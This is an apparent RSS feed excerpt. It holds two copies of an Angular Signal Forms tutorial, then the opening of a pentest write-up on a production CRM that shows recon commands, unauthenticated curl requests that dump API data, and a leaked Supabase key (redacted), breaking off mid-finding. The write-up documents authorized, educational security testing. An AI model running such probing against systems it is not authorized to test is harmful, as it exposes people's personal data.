<li><a href="https://www.infoworld.com/article/4185924/angular-signals-in-practice-building-a-signal-first-form-in-angular.html" data-type="link" data-id="https://www.infoworld.com/article/4185924/angular-signals-in-practice-building-a-signal-first-form-in-angular.html">Angular Signals in practice: Building a signal-first form in Angular</a></li>
</ul>



<h2 class="wp-block-heading"><a></a>Implementing a signal-first registration form</h2>



<p>With the conceptual groundwork in place, we can now turn theory into a concrete implementation. In this section, we will build a fully working registration form using Angular’s Signal Forms API. This example is deliberately modest in scope, but it is designed to serve as the foundation for the rest of the series. Each subsequent article will extend this same example rather than introducing a new one.</p>



<p>The form collects an email address, a password, a confirmation password, and explicit acceptance of terms. While simple on the surface, this structure allows us to explore field-level validation, cross-field constraints, interaction state, and submission behavior, all without reverting to event-driven form logic.</p>



<h3 class="wp-block-heading"><a></a>Project setup and structure</h3>



<p>The example assumes a standard Angular application created with the Angular CLI and configured to use Signals (Angular 17+). The Signal Forms APIs (Angular 21+) live under @angular/forms/signals, which must be explicitly imported.</p>



<p><a href="https://github.com/sonukapoor/angular-signal-forms">https://github.com/sonukapoor/angular-signal-forms</a></p>



<p>The folder structure is intentionally conservative:</p>



<p>src/<br>  app/<br>    registration/<br>      registration.component.ts<br>      registration.component.html<br>      registration.model.ts</p>



<p>Separating the model from the component keeps form state independent of presentation. This becomes increasingly valuable as the form grows or is reused across multiple components.</p>



<h3 class="wp-block-heading"><a></a>Defining the form model</h3>



<p>We begin by defining the shape of the data that the form collects. This is a plain TypeScript interface with no Angular dependencies. Treating the form model as a simple data structure reinforces the idea that the form’s values are just state.</p>



<pre class="wp-block-code"><code>// registration.model.ts
export interface RegistrationData {
  email: string;
  password: string;
  confirmPassword: string;
  acceptedTerms: boolean;
}
</code></pre>



<p>This interface mirrors what would typically be sent to a back-end API. There is no duplication of state, no separate “form value” object, and no mapping required at submission time.</p>



<h3 class="wp-block-heading"><a></a>Creating the signal-backed form</h3>



<p>The form itself is created in the component using a writable signal as the source of truth. The <code>form()</code> function attaches form semantics validation, field state, and submission to that signal.</p>



<pre class="wp-block-code"><code>// registration.component.ts
import { CommonModule } from "@angular/common";
import { Component, signal } from "@angular/core";
import {
  email,
  form,
  FormField,
  required,
  submit,
} from "@angular/forms/signals";
import { RegistrationData } from "./registration.model";

@Component({
  selector: "app-registration",
  imports: [FormField, CommonModule],
  templateUrl: "./registration.html",
  styleUrl: "./registration.css",
})
export class Registration {
  readonly model = signal<registrationdata>({
    email: "",
    password: "",
    confirmPassword: "",
    acceptedTerms: false,
  });

  readonly registrationForm = form(this.model, (schema) =&gt; {
    required(schema.email, { message: "Email is required" });
    email(schema.email, { message: "Enter a valid email address" });

    required(schema.password, { message: "Password is required" });
    required(schema.confirmPassword, {
      message: "Please confirm your password",
    });

    required(schema.acceptedTerms, {
      message: "You must accept the terms to continue",
    });
  });

  async onSubmit(event?: Event) {
    event?.preventDefault();

    await submit(this.registrationForm, (value) =&gt; {
      console.log(value());
      // Mock Server Call
      return Promise.resolve([
        {
          kind: "EmailAlreadyExists",
          field: this.registrationForm.email,
          error: { kind: "server", message: "Email already taken" },
        },
      ]);
    });
  }
}
</registrationdata></code></pre>



<p>Several design decisions are worth noting.</p>



<p>First, the model signal is defined as read-only. All mutations to the model occur through form bindings, not ad hoc assignments in the component. This keeps the component declarative and avoids the temptation to manipulate form state imperatively.</p>



<p>Second, validation is declared in one place. The schema function describes constraints on the model without introducing control trees, validator arrays, or observable pipelines. Angular takes responsibility for re-running validation whenever the model changes.</p>



<p>Finally, submission logic is explicit. The <code>submit()</code> helper ensures that the form is valid before invoking the callback, and it passes the current model value directly. There is no need to check flags or manually extract values.</p>



<h3 class="wp-block-heading"><a></a>Binding the form to the template</h3>



<p>With the form defined, the next step is to bind it to the template. Signal Forms provide the <code>[formField]</code> directive, which connects an input element directly to a field in the form schema.</p>



<pre class="wp-block-code"><code><!-- registration.component.html -->

  <div>
    <label>Email</label>
    

    @if (
      registrationForm.email().invalid() &amp;&amp; registrationForm.email().touched()
    ) {
      <p class="error">
        {{ registrationForm.email().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    <label>Password</label>
    

    @if (
      registrationForm.password().invalid() &amp;&amp;
      registrationForm.password().touched()
    ) {
      <p class="error">
        {{ registrationForm.password().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    <label>Confirm Password</label>
    

    @if (
      registrationForm.confirmPassword().invalid() &amp;&amp;
      registrationForm.confirmPassword().touched()
    ) {
      <p class="error">
        {{ registrationForm.confirmPassword().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    <label>
      
      I accept the terms and conditions
    </label>

    @if (
      registrationForm.acceptedTerms().invalid() &amp;&amp;
      registrationForm.acceptedTerms().touched()
    ) {
      <p class="error">
        {{ registrationForm.acceptedTerms().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    @if (registrationForm().errors().length &gt; 0) {
      <div class="error">
        @for (error of registrationForm().errors(); track error.message) {
          <p>{{ error.kind }}</p>
        }
      </div>
    }
  </div>

  <button type="submit">
    Register
  </button>

</code></pre>



<p>What stands out here is the absence of indirection. Each input binds directly to a field. Validation state is accessed through signals such as <code>invalid()</code> and <code>touched()</code>. Error messages are read from a structured error object, not reconstructed manually.</p>



<p>This template contains no subscriptions, no async pipes, and no event handlers for value changes. The UI simply reflects the current form state.</p>



<h3 class="wp-block-heading"><a></a>Interaction state and user experience</h3>



<p>One of the common criticisms of declarative form models is that they obscure user interaction logic. Signal Forms address this directly by exposing interaction metadata as signals.</p>



<p>The <code>touched()</code> signal determines whether a field has been interacted with. By combining it with <code>invalid()</code>, we control when validation messages appear. This logic remains purely declarative: the template describes when errors should be visible, and Angular ensures the signals stay up-to-date.</p>



<p>The disabled state of the submit button is derived from <code>registrationForm.invalid()</code>. There is no need to manually enable or disable it in response to events. If the form becomes valid, the button is enabled automatically.</p>



<h3 class="wp-block-heading"><a></a>Why this scales</h3>



<p>Even at this early stage, several advantages of a signal-first form model are apparent. The form’s behavior is expressed in terms of state and derivation, not events. The model, validation rules, and UI bindings are clearly separated. There is no duplication of logic between the component and the template.</p>



<p>As the form grows, this structure holds. Additional fields introduce additional schema entries and template bindings, not new subscription logic. Cross-field validation can be added declaratively. Asynchronous validation and persistence can be layered on without rewriting the core model.</p>



<p>Most importantly, the form remains inspectable. At any point during execution, the model signal reflects the current state of the form. Derived state validity, errors, and UI flags can be understood by reading the code, not by tracing runtime behavior.</p>



<h2 class="wp-block-heading"><a></a>What we did not solve yet (and why)</h2>



<p>At this stage, it would be easy to walk away with the impression that Signal Forms eliminates most of the hard problems associated with form handling. That impression would be misleading. What we have built so far is intentionally incomplete, not because the approach falls short, but because introducing too much too early obscures the value of the underlying model.</p>



<p>One area we have deliberately postponed is cross-field validation that expresses richer business rules. Many real-world forms depend on relationships between fields rather than isolated constraints. Password confirmation is a familiar example, but more complex scenarios quickly arise in enterprise applications. While Signal Forms support these patterns, introducing them before establishing a clear understanding of derived state risks turns validation back into an imperative exercise rather than a declarative one.</p>



<p>We have also avoided asynchronous validation. Server-backed checks introduce latency, partial failure, cancellation, and race conditions. These are not trivial concerns, and treating them casually often leads to subtle bugs and confusing user experiences. Although Signal Forms provide the necessary hooks to model asynchronous behavior, doing so responsibly requires a careful discussion of pending state, effects, and life-cycle boundaries. That discussion belongs in its own article.</p>



<p>Another omission is persistence and synchronization. Many forms need to autosave drafts, synchronize state with local storage, or react to changes by triggering external side effects. These behaviors are not part of the form state itself; they are consequences of state changes. Treating them as such is essential to keeping the architecture comprehensible. Introducing persistence too early would blur the distinction between state and reaction that this article has worked to establish.</p>



<p>Finally, this article has not addressed migration and interoperability. Few teams are starting from a blank slate. Most will adopt Signal Forms incrementally within applications that already rely on reactive forms or template-driven forms. Hybrid approaches, bridging strategies, and gradual refactors are all critical topics, but they presuppose familiarity with both paradigms. Addressing migration before establishing a solid signal-first mental model would undermine that foundation.</p>



<p>These omissions are intentional. A form architecture that tries to do everything at once often ends up doing nothing clearly. By focusing on the core ideas of state, derivation, and declarative validation, we create a base that can absorb additional complexity without collapsing under it.</p>



<h2 class="wp-block-heading"><a></a>Signal Forms in the context of Angular’s evolution</h2>



<p>To fully appreciate Signal Forms, it helps to step back and view them not as an isolated feature, but as part of a broader shift in Angular’s design philosophy.</p>



<p>For much of its history, Angular emphasized declarative templates paired with imperative coordination in component classes. RxJS became the backbone of that coordination, providing a powerful abstraction for handling asynchronous workflows, user input, and external events. This model scaled well, but it also encouraged developers to express state indirectly through streams and subscriptions.</p>



<p>Signals represent a deliberate recalibration. They re-center Angular’s reactivity model around state and derivation, rather than events and emissions. This shift is visible across the framework: in component inputs, change detection, and now forms. Signal Forms are not an attempt to replace everything that came before; they are an attempt to make the most common use case, modeling and deriving state, simpler and more explicit.</p>



<p>Framed this way, the design of Signal Forms aligns more closely with state-driven form behavior. The requirement to start with a model signal reflects the idea that the state should have a single, inspectable source of truth. Schema-based validation aligns with the notion that constraints are properties of state, not behaviors triggered by events. Field state exposed as signals reinforces the idea that validity, errors, and interaction metadata are derived values that should be read, not managed.</p>



<p>It is also worth noting that Signal Forms do <em>not</em> attempt to abstract away form behavior. They do not hide form state behind opaque classes or life-cycle hooks. They do not require developers to think in terms of control hierarchies or subscription graphs. Instead, they expose form behavior directly, making it easier to reason about how values, validation, and UI feedback relate to one another.</p>



<p>This approach aligns closely with other recent changes in Angular, including the introduction of modern template control flow and a stronger emphasis on explicit data dependencies. Together, these features point toward a framework that favors clarity over indirection and composition over orchestration.</p>



<p>Importantly, Signal Forms are still evolving. Their APIs may change, and their surface area will almost certainly expand. That is precisely why grounding them in first principles matters. Developers who understand <em>why</em> Signal Forms work the way they do will be far better equipped to adapt as the APIs mature.</p>



<p>This article has intentionally avoided duplicating documentation or enumerating every available feature. Instead, it has focused on establishing a conceptual framework that makes the official APIs feel intuitive rather than surprising. When viewed this way, Signal Forms are not a new way to write forms; they are a clearer expression of what forms have always been.</p>



<h2 class="wp-block-heading"><a></a>A new way to think about forms</h2>



<p>Building the registration form in this article reveals a quiet but important shift. The reduction in complexity does not come from fewer features or simpler requirements. It comes from expressing form behavior in terms of state and derivation rather than orchestration and reaction.</p>



<p>By treating the data model as the single source of truth, validation rules as declarative constraints, and UI behavior as derived from current conditions, much of the coordination logic that typically surrounds forms becomes unnecessary. There are fewer subscriptions to manage, fewer flags to synchronize, and fewer life-cycle concerns to reason about. Form behavior becomes easier to inspect because it is visible directly in the relationships between values.</p>



<p>This approach does not eliminate the hard problems associated with forms. Asynchronous validation, persistence, and interoperability with existing Angular Forms APIs still require careful design. What changes is where that complexity lives. Instead of being interwoven with state representation, those concerns are layered explicitly on top of a clear foundation.</p>



<p>Signal-first forms are not a universal replacement for existing patterns, nor are they a shortcut to simpler applications. They are, however, a strong example of how aligning APIs with first principles can reduce cognitive overhead and improve maintainability over time. For teams building large, state-heavy forms, this alignment can make the difference between code that merely works and code that continues to evolve without friction.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a signal-first form in Angular]]></title>
<description><![CDATA[Understanding a reactivity model in the abstract is useful, but it is ultimately incomplete without seeing how it shapes real application code. Concepts such as state, derivation, and explicit dependencies only become meaningful when they influence how forms are built, validated, and maintained i...]]></description>
<link>https://tsecurity.de/de/3607185/ai-nachrichten/building-a-signal-first-form-in-angular/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607185/ai-nachrichten/building-a-signal-first-form-in-angular/</guid>
<pubDate>Thu, 18 Jun 2026 11:18:46 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Understanding a <a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html">reactivity</a> model in the abstract is useful, but it is ultimately incomplete without seeing how it shapes real application code. Concepts such as state, derivation, and explicit dependencies only become meaningful when they influence how forms are built, validated, and maintained in practice.</p>



<p>In two previous articles, “<a href="https://www.infoworld.com/article/4171858/angular-signal-forms-from-event-pipelines-to-signal-driven-state.html">Angular Signal Forms: From event pipelines to signal-driven state</a>” and “<a href="https://www.infoworld.com/article/4180890/angular-signals-explained-how-pull-based-reactivity-changes-how-we-model-state.html">Angular Signals explained: How pull-based reactivity changes how we model state</a>,” we reframed form behavior as a state-driven problem and examined Angular Signals as a pull-based reactivity model well-suited to that kind of work. The natural next step is to apply those ideas to an actual Angular form and observe how the architecture changes when state becomes the primary concern.</p>



<p>This article focuses on a concrete example: a modest but realistic registration form. Rather than introducing new concepts, the goal here is to make earlier ideas tangible. We will see how a signal-backed model reshapes validation, interaction state, and submission logic, and how much coordination logic simply disappears when form behavior is expressed declaratively.</p>



<p>The focus here is not on novelty or completeness, but on making the underlying ideas easier to reason about. By walking through a signal-first form from model definition to submission, we can evaluate whether this approach truly reduces complexity and where it introduces new trade-offs that teams should understand before adopting it more broadly.</p>



<h2 class="wp-block-heading"><a></a>Implementing a signal-first registration form</h2>



<p>With the conceptual groundwork in place, we can now turn theory into a concrete implementation. In this section, we will build a fully working registration form using Angular’s Signal Forms API. This example is deliberately modest in scope, but it is designed to serve as the foundation for the rest of the series. Each subsequent article will extend this same example rather than introducing a new one.</p>



<p>The form collects an email address, a password, a confirmation password, and explicit acceptance of terms. While simple on the surface, this structure allows us to explore field-level validation, cross-field constraints, interaction state, and submission behavior, all without reverting to event-driven form logic.</p>



<h3 class="wp-block-heading"><a></a>Project setup and structure</h3>



<p>The example assumes a standard Angular application created with the Angular CLI and configured to use Signals (Angular 17+). The Signal Forms APIs (Angular 21+) live under @angular/forms/signals, which must be explicitly imported.</p>



<p><a href="https://github.com/sonukapoor/angular-signal-forms">https://github.com/sonukapoor/angular-signal-forms</a></p>



<p>The folder structure is intentionally conservative:</p>



<p>src/<br>  app/<br>    registration/<br>      registration.component.ts<br>      registration.component.html<br>      registration.model.ts</p>



<p>Separating the model from the component keeps form state independent of presentation. This becomes increasingly valuable as the form grows or is reused across multiple components.</p>



<h3 class="wp-block-heading"><a></a>Defining the form model</h3>



<p>We begin by defining the shape of the data that the form collects. This is a plain TypeScript interface with no Angular dependencies. Treating the form model as a simple data structure reinforces the idea that the form’s values are just state.</p>



<pre class="wp-block-code"><code>// registration.model.ts
export interface RegistrationData {
  email: string;
  password: string;
  confirmPassword: string;
  acceptedTerms: boolean;
}
</code></pre>



<p>This interface mirrors what would typically be sent to a back-end API. There is no duplication of state, no separate “form value” object, and no mapping required at submission time.</p>



<h3 class="wp-block-heading"><a></a>Creating the signal-backed form</h3>



<p>The form itself is created in the component using a writable signal as the source of truth. The <code>form()</code> function attaches form semantics validation, field state, and submission to that signal.</p>



<pre class="wp-block-code"><code>// registration.component.ts
import { CommonModule } from "@angular/common";
import { Component, signal } from "@angular/core";
import {
  email,
  form,
  FormField,
  required,
  submit,
} from "@angular/forms/signals";
import { RegistrationData } from "./registration.model";

@Component({
  selector: "app-registration",
  imports: [FormField, CommonModule],
  templateUrl: "./registration.html",
  styleUrl: "./registration.css",
})
export class Registration {
  readonly model = signal<registrationdata>({
    email: "",
    password: "",
    confirmPassword: "",
    acceptedTerms: false,
  });

  readonly registrationForm = form(this.model, (schema) =&gt; {
    required(schema.email, { message: "Email is required" });
    email(schema.email, { message: "Enter a valid email address" });

    required(schema.password, { message: "Password is required" });
    required(schema.confirmPassword, {
      message: "Please confirm your password",
    });

    required(schema.acceptedTerms, {
      message: "You must accept the terms to continue",
    });
  });

  async onSubmit(event?: Event) {
    event?.preventDefault();

    await submit(this.registrationForm, (value) =&gt; {
      console.log(value());
      // Mock Server Call
      return Promise.resolve([
        {
          kind: "EmailAlreadyExists",
          field: this.registrationForm.email,
          error: { kind: "server", message: "Email already taken" },
        },
      ]);
    });
  }
}
</registrationdata></code></pre>



<p>Several design decisions are worth noting.</p>



<p>First, the model signal is defined as read-only. All mutations to the model occur through form bindings, not ad hoc assignments in the component. This keeps the component declarative and avoids the temptation to manipulate form state imperatively.</p>



<p>Second, validation is declared in one place. The schema function describes constraints on the model without introducing control trees, validator arrays, or observable pipelines. Angular takes responsibility for re-running validation whenever the model changes.</p>



<p>Finally, submission logic is explicit. The <code>submit()</code> helper ensures that the form is valid before invoking the callback, and it passes the current model value directly. There is no need to check flags or manually extract values.</p>



<h3 class="wp-block-heading"><a></a>Binding the form to the template</h3>



<p>With the form defined, the next step is to bind it to the template. Signal Forms provide the <code>[formField]</code> directive, which connects an input element directly to a field in the form schema.</p>



<pre class="wp-block-code"><code><!-- registration.component.html -->

  <div>
    <label>Email</label>
    

    @if (
      registrationForm.email().invalid() &amp;&amp; registrationForm.email().touched()
    ) {
      <p class="error">
        {{ registrationForm.email().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    <label>Password</label>
    

    @if (
      registrationForm.password().invalid() &amp;&amp;
      registrationForm.password().touched()
    ) {
      <p class="error">
        {{ registrationForm.password().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    <label>Confirm Password</label>
    

    @if (
      registrationForm.confirmPassword().invalid() &amp;&amp;
      registrationForm.confirmPassword().touched()
    ) {
      <p class="error">
        {{ registrationForm.confirmPassword().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    <label>
      
      I accept the terms and conditions
    </label>

    @if (
      registrationForm.acceptedTerms().invalid() &amp;&amp;
      registrationForm.acceptedTerms().touched()
    ) {
      <p class="error">
        {{ registrationForm.acceptedTerms().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    @if (registrationForm().errors().length &gt; 0) {
      <div class="error">
        @for (error of registrationForm().errors(); track error.message) {
          <p>{{ error.kind }}</p>
        }
      </div>
    }
  </div>

  <button type="submit">
    Register
  </button>

</code></pre>



<p>What stands out here is the absence of indirection. Each input binds directly to a field. Validation state is accessed through signals such as <code>invalid()</code> and <code>touched()</code>. Error messages are read from a structured error object, not reconstructed manually.</p>



<p>This template contains no subscriptions, no async pipes, and no event handlers for value changes. The UI simply reflects the current form state.</p>



<h3 class="wp-block-heading"><a></a>Interaction state and user experience</h3>



<p>One of the common criticisms of declarative form models is that they obscure user interaction logic. Signal Forms address this directly by exposing interaction metadata as signals.</p>



<p>The <code>touched()</code> signal determines whether a field has been interacted with. By combining it with <code>invalid()</code>, we control when validation messages appear. This logic remains purely declarative: the template describes when errors should be visible, and Angular ensures the signals stay up-to-date.</p>



<p>The disabled state of the submit button is derived from <code>registrationForm.invalid()</code>. There is no need to manually enable or disable it in response to events. If the form becomes valid, the button is enabled automatically.</p>



<h3 class="wp-block-heading"><a></a>Why this scales</h3>



<p>Even at this early stage, several advantages of a signal-first form model are apparent. The form’s behavior is expressed in terms of state and derivation, not events. The model, validation rules, and UI bindings are clearly separated. There is no duplication of logic between the component and the template.</p>



<p>As the form grows, this structure holds. Additional fields introduce additional schema entries and template bindings, not new subscription logic. Cross-field validation can be added declaratively. Asynchronous validation and persistence can be layered on without rewriting the core model.</p>



<p>Most importantly, the form remains inspectable. At any point during execution, the model signal reflects the current state of the form. Derived state validity, errors, and UI flags can be understood by reading the code, not by tracing runtime behavior.</p>



<h2 class="wp-block-heading"><a></a>What we did not solve yet (and why)</h2>



<p>At this stage, it would be easy to walk away with the impression that Signal Forms eliminates most of the hard problems associated with form handling. That impression would be misleading. What we have built so far is intentionally incomplete, not because the approach falls short, but because introducing too much too early obscures the value of the underlying model.</p>



<p>One area we have deliberately postponed is cross-field validation that expresses richer business rules. Many real-world forms depend on relationships between fields rather than isolated constraints. Password confirmation is a familiar example, but more complex scenarios quickly arise in enterprise applications. While Signal Forms support these patterns, introducing them before establishing a clear understanding of derived state risks turns validation back into an imperative exercise rather than a declarative one.</p>



<p>We have also avoided asynchronous validation. Server-backed checks introduce latency, partial failure, cancellation, and race conditions. These are not trivial concerns, and treating them casually often leads to subtle bugs and confusing user experiences. Although Signal Forms provide the necessary hooks to model asynchronous behavior, doing so responsibly requires a careful discussion of pending state, effects, and life-cycle boundaries. That discussion belongs in its own article.</p>



<p>Another omission is persistence and synchronization. Many forms need to autosave drafts, synchronize state with local storage, or react to changes by triggering external side effects. These behaviors are not part of the form state itself; they are consequences of state changes. Treating them as such is essential to keeping the architecture comprehensible. Introducing persistence too early would blur the distinction between state and reaction that this article has worked to establish.</p>



<p>Finally, this article has not addressed migration and interoperability. Few teams are starting from a blank slate. Most will adopt Signal Forms incrementally within applications that already rely on reactive forms or template-driven forms. Hybrid approaches, bridging strategies, and gradual refactors are all critical topics, but they presuppose familiarity with both paradigms. Addressing migration before establishing a solid signal-first mental model would undermine that foundation.</p>



<p>These omissions are intentional. A form architecture that tries to do everything at once often ends up doing nothing clearly. By focusing on the core ideas of state, derivation, and declarative validation, we create a base that can absorb additional complexity without collapsing under it.</p>



<h2 class="wp-block-heading"><a></a>Signal Forms in the context of Angular’s evolution</h2>



<p>To fully appreciate Signal Forms, it helps to step back and view them not as an isolated feature, but as part of a broader shift in Angular’s design philosophy.</p>



<p>For much of its history, Angular emphasized declarative templates paired with imperative coordination in component classes. RxJS became the backbone of that coordination, providing a powerful abstraction for handling asynchronous workflows, user input, and external events. This model scaled well, but it also encouraged developers to express state indirectly through streams and subscriptions.</p>



<p>Signals represent a deliberate recalibration. They re-center Angular’s reactivity model around state and derivation, rather than events and emissions. This shift is visible across the framework: in component inputs, change detection, and now forms. Signal Forms are not an attempt to replace everything that came before; they are an attempt to make the most common use case, modeling and deriving state, simpler and more explicit.</p>



<p>Framed this way, the design of Signal Forms aligns more closely with state-driven form behavior. The requirement to start with a model signal reflects the idea that the state should have a single, inspectable source of truth. Schema-based validation aligns with the notion that constraints are properties of state, not behaviors triggered by events. Field state exposed as signals reinforces the idea that validity, errors, and interaction metadata are derived values that should be read, not managed.</p>



<p>It is also worth noting that Signal Forms do <em>not</em> attempt to abstract away form behavior. They do not hide form state behind opaque classes or life-cycle hooks. They do not require developers to think in terms of control hierarchies or subscription graphs. Instead, they expose form behavior directly, making it easier to reason about how values, validation, and UI feedback relate to one another.</p>



<p>This approach aligns closely with other recent changes in Angular, including the introduction of modern template control flow and a stronger emphasis on explicit data dependencies. Together, these features point toward a framework that favors clarity over indirection and composition over orchestration.</p>



<p>Importantly, Signal Forms are still evolving. Their APIs may change, and their surface area will almost certainly expand. That is precisely why grounding them in first principles matters. Developers who understand <em>why</em> Signal Forms work the way they do will be far better equipped to adapt as the APIs mature.</p>



<p>This article has intentionally avoided duplicating documentation or enumerating every available feature. Instead, it has focused on establishing a conceptual framework that makes the official APIs feel intuitive rather than surprising. When viewed this way, Signal Forms are not a new way to write forms; they are a clearer expression of what forms have always been.</p>



<h2 class="wp-block-heading"><a></a>A new way to think about forms</h2>



<p>Building the registration form in this article reveals a quiet but important shift. The reduction in complexity does not come from fewer features or simpler requirements. It comes from expressing form behavior in terms of state and derivation rather than orchestration and reaction.</p>



<p>By treating the data model as the single source of truth, validation rules as declarative constraints, and UI behavior as derived from current conditions, much of the coordination logic that typically surrounds forms becomes unnecessary. There are fewer subscriptions to manage, fewer flags to synchronize, and fewer life-cycle concerns to reason about. Form behavior becomes easier to inspect because it is visible directly in the relationships between values.</p>



<p>This approach does not eliminate the hard problems associated with forms. Asynchronous validation, persistence, and interoperability with existing Angular Forms APIs still require careful design. What changes is where that complexity lives. Instead of being interwoven with state representation, those concerns are layered explicitly on top of a clear foundation.</p>



<p>Signal-first forms are not a universal replacement for existing patterns, nor are they a shortcut to simpler applications. They are, however, a strong example of how aligning APIs with first principles can reduce cognitive overhead and improve maintainability over time. For teams building large, state-heavy forms, this alignment can make the difference between code that merely works and code that continues to evolve without friction.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Pentested a Real CRM System and Found 4 Critical Vulnerabilities — Here’s the Full Attack Chain]]></title>
<description><![CDATA[Author: Shikhali JamalzadeGitHub: github.com/alisalive LinkedIn: linkedin.com/in/camalzadsDisclosure Notice: This assessment was conducted with explicit written authorization from the organization’s CEO and senior leadership. All sensitive details — including the target domain, company name, Supa...]]></description>
<link>https://tsecurity.de/de/3606858/hacking/i-pentested-a-real-crm-system-and-found-4-critical-vulnerabilities-heres-the-full-attack-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606858/hacking/i-pentested-a-real-crm-system-and-found-4-critical-vulnerabilities-heres-the-full-attack-chain/</guid>
<pubDate>Thu, 18 Jun 2026 08:51:22 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kIqGy9rC6ealvMq7E-VNtg.png"></figure><h4><strong>Author:</strong> <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br><strong>GitHub:</strong> <a href="https://github.com/alisalive">github.com/alisalive</a> <br><strong>LinkedIn:</strong> <a href="https://linkedin.com/in/camalzads">linkedin.com/in/camalzads</a></h4><blockquote><strong><em>Disclosure Notice:</em></strong><em> This assessment was conducted with explicit written authorization from the organization’s CEO and senior leadership. All sensitive details — including the target domain, company name, Supabase project identifiers, API keys, credentials, user email addresses, and personal data — have been redacted or anonymized in this write-up. No sensitive information was retained after reporting. This write-up is published strictly for educational purposes.</em></blockquote><h3>Background</h3><p>A few weeks ago, my instructor handed me a task: <em>“Pentest our internal CRM platform. You have full authorization — everything except DDoS.”</em></p><p>It was a real, live production system. A Next.js application backed by Supabase/PostgreSQL, used by instructors, support staff, and admins to manage students, leads, payments, and internal communications. Real people. Real data.</p><p>I expected maybe one or two interesting findings. What I found instead was a complete, unobstructed path from zero knowledge to full database dump — without ever needing a username or password. And by the time I got deep enough into the database, I realized I wasn’t the first person to find this.</p><p>This is the story of that assessment.</p><h3>Scope &amp; Rules of Engagement</h3><p><strong>Target:</strong> Internal CRM web application (production) <strong>Stack:</strong> Next.js (SSR), Supabase/PostgreSQL, nginx <strong>Assessment Type:</strong> Black-Box Web Application Penetration Test <strong>Authorization:</strong> CEO + Senior Instructors (written) <strong>Exclusions:</strong> DDoS / Denial of Service <strong>Tools:</strong> Burp Suite Pro, Nmap, ffuf, feroxbuster, subfinder, whatweb, curl</p><h3>Phase 1: Reconnaissance</h3><p>I started the way I always do — passive recon, then active enumeration.</p><pre># Port scan<br>nmap -sC -sV -oN nmap/target.txt &lt;TARGET_IP&gt;</pre><pre># Subdomain enumeration<br>subfinder -d &lt;TARGET_DOMAIN&gt; -o subdomains.txt</pre><pre># Technology fingerprinting<br>whatweb https://&lt;TARGET_DOMAIN&gt;</pre><p><strong>Nmap results:</strong></p><pre>22/tcp  open  ssh     OpenSSH (Ubuntu)<br>80/tcp  open  http    nginx/1.24.0 (Ubuntu) → redirect to HTTPS<br>443/tcp open  https   nginx/1.24.0</pre><p>Whatweb and browser analysis confirmed:</p><ul><li><strong>Framework:</strong> Next.js (SSR) — Build ID visible in page source</li><li><strong>Server:</strong> nginx/1.24.0 on Ubuntu Linux</li><li><strong>Auth UI:</strong> Custom login form at /[locale]/login</li></ul><p>Nothing immediately exploitable. Time to dig deeper.</p><h3>Phase 2: Mapping the Attack Surface</h3><h3>Directory &amp; API Endpoint Discovery</h3><pre>feroxbuster -u https://&lt;TARGET&gt; -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \<br>  -x js,json,php -mc 200,301,302,401,403,405</pre><p>Interesting endpoints discovered:</p><pre>/api/health          → 200 OK<br>/api/tickets         → 200 OK   ← wait, what?<br>/api/search?q=*      → 200 OK<br>/api/dashboard       → 200 OK<br>/api/broadcast       → 421 Misdirected Request</pre><p>I stared at /api/tickets for a second. This endpoint had no authentication requirement visible from the URL. I fired a raw curl at it without any session cookie or token:</p><pre>curl -s https://&lt;TARGET&gt;/api/tickets</pre><p>The response came back instantly: a full JSON array of ticket records. Names, descriptions, internal notes. No token. No session. Nothing.</p><p>That’s when I knew this was going to be a serious engagement.</p><h3>Next.js Bundle Analysis</h3><p>Next.js bundles its routing and configuration into static JavaScript files served to all visitors. I pulled the build manifest:</p><pre>/_next/static/&lt;BUILD_ID&gt;/_buildManifest.js</pre><p>Inside the bundles, I found references to multiple internal routes, API paths, and — more importantly — environment variables that had leaked into the client-side JavaScript. One of them was a Supabase configuration block.</p><h3>Phase 3: Vulnerability Identification &amp; Exploitation</h3><h3>V-01 — Broken Access Control: Unauthenticated API Access [CRITICAL | CVSS 9.8]</h3><p><strong>CWE-284 — Improper Access Control</strong></p><p>Multiple API endpoints returned full JSON data with no authentication whatsoever. I tested each one with zero credentials:</p><pre># All of these returned HTTP 200 with full data — no token, no cookie, nothing<br>curl https://&lt;TARGET&gt;/api/tickets<br>curl https://&lt;TARGET&gt;/api/search?q=*<br>curl https://&lt;TARGET&gt;/api/dashboard<br>curl https://&lt;TARGET&gt;/api/health</pre><p>The /api/dashboard endpoint returned aggregated business metrics — student counts, revenue summaries, lead pipeline data — all publicly accessible.</p><p>The /api/health endpoint returned the Node.js runtime version and server uptime. Minor on its own, but useful for a targeted attacker.</p><p><strong>Impact:</strong> Complete confidentiality breach of all application data without any prior access.</p><h3>V-02 — Exposed Supabase Anon API Key in Client-Side JavaScript [CRITICAL | CVSS 9.1]</h3><p><strong>CWE-522 — Insufficiently Protected Credentials</strong></p><p>This was the finding that opened everything else.</p><p>While analyzing intercepted requests in Burp Suite, I noticed the browser was making direct calls to a *.supabase.co subdomain. The requests included an apikey header — and that key was coming directly from the JavaScript bundle served to any visitor.</p><pre>Host: [REDACTED].supabase.co<br>apikey: [REDACTED — JWT token with role: "anon", expiry: year 2091]<br>Authorization: Bearer [SAME REDACTED KEY]</pre><p>The key had a <strong>year 2091 